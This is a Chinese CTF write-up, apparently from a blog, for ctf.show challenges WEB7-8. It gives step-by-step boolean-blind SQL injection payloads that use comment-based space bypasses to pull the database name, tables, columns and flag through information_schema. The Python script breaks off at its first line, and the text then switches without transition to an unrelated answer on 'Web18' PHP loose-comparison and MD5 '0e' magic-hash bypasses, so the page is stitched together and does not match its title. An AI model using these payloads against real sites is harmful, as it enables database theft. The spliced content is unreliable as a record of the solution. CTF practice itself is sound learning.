CTF show WEB7-8

题目网站https://ctf.show

web7

点开其中一篇文章,输入id=1||1存在全部文章内容,说明为整形注入

1.爆库名(web7)
当输入为id=-1/**/or/**/ascii(substr(database(),1,1))=119时出现文章内容,证明库名的第一个字符为‘w’,以此类推。

2.爆表名(flag,page,user)

id=-1/**/or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))=102

3.爆字段(flag)
id=-1/**/or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/0,1),1,1))=102

4.爆字段值
id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))=102

附:python脚本

import requests
url = 
### 解题思路与分析 CTFShow Web18 是一道典型的 PHP 字符串比较绕过题,其核心机制依赖于 PHP 中松散比较(`==`)的类型转换特性。题目通常会设置一个条件判断,例如要求用户输入的值与特定字符串相等,但通过构造特殊输入可以绕过该判断。 在 PHP 中,当使用 `==` 进行比较时,如果其中一个操作数是数字或以数字开头的字符串,则 PHP 会尝试将其转换为数字进行比较。例如,字符串 `0e123456` 会被转换为浮点数 `0`,从而在与数字 `0` 或其他以 `0e` 开头的字符串比较时被视为“相等”。 在 Web18 题目中,若服务器端判断逻辑类似 `$_GET['key'] == '0e123456'`,则可以构造 `key=0` 或 `key=0e123456789`,利用 PHP 的类型转换机制使条件成立,从而获取 flag[^1]。 ### 示例代码与利用方式 假设题目源码如下: ```php if ($_GET['key'] == '0e123456') { echo $flag; } ``` 由于 PHP 的松散比较机制,以下输入均能绕过判断: - `?key=0` - `?key=0e123456789` PHP 会将这些值转换为浮点数 `0`,从而与 `'0e123456'` 转换后的结果相等,触发 flag 输出。 ### 技术细节与扩展 - **松散比较与严格比较**:PHP 中 `==` 为松散比较,允许类型转换;而 `===` 为严格比较,要求类型与值均相同。CTF 题目中若使用 `==`,则可能被构造输入绕过。 - **MD5 哈希绕过**:在类似题目中,若输入经过 MD5 哈希后进行比较,可利用某些字符串的 MD5 值以 `0e` 开头,从而在比较中被误判为“相等”。 - **数组绕过**:部分题目允许通过传递数组参数绕过判断,例如 `?key[]=123`,但 Web18 通常不涉及此方式。 ### 实际操作步骤 1. 构造 GET 请求,输入 `?key=0e123456789`。 2. 提交后若条件成立,页面将输出 flag。 3. 若题目使用 MD5 哈希机制,可查找以 `0e` 开头的 MD5 值,构造对应输入。 ```php // 示例:MD5 哈希绕过 if(md5($_GET['pass']) == '0e215962017') { echo $flag; } ``` 可使用已知的 MD5 哈希碰撞值如 `s878926199a`,其 MD5 值为 `0e545993274517701592006694417082`,满足条件。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值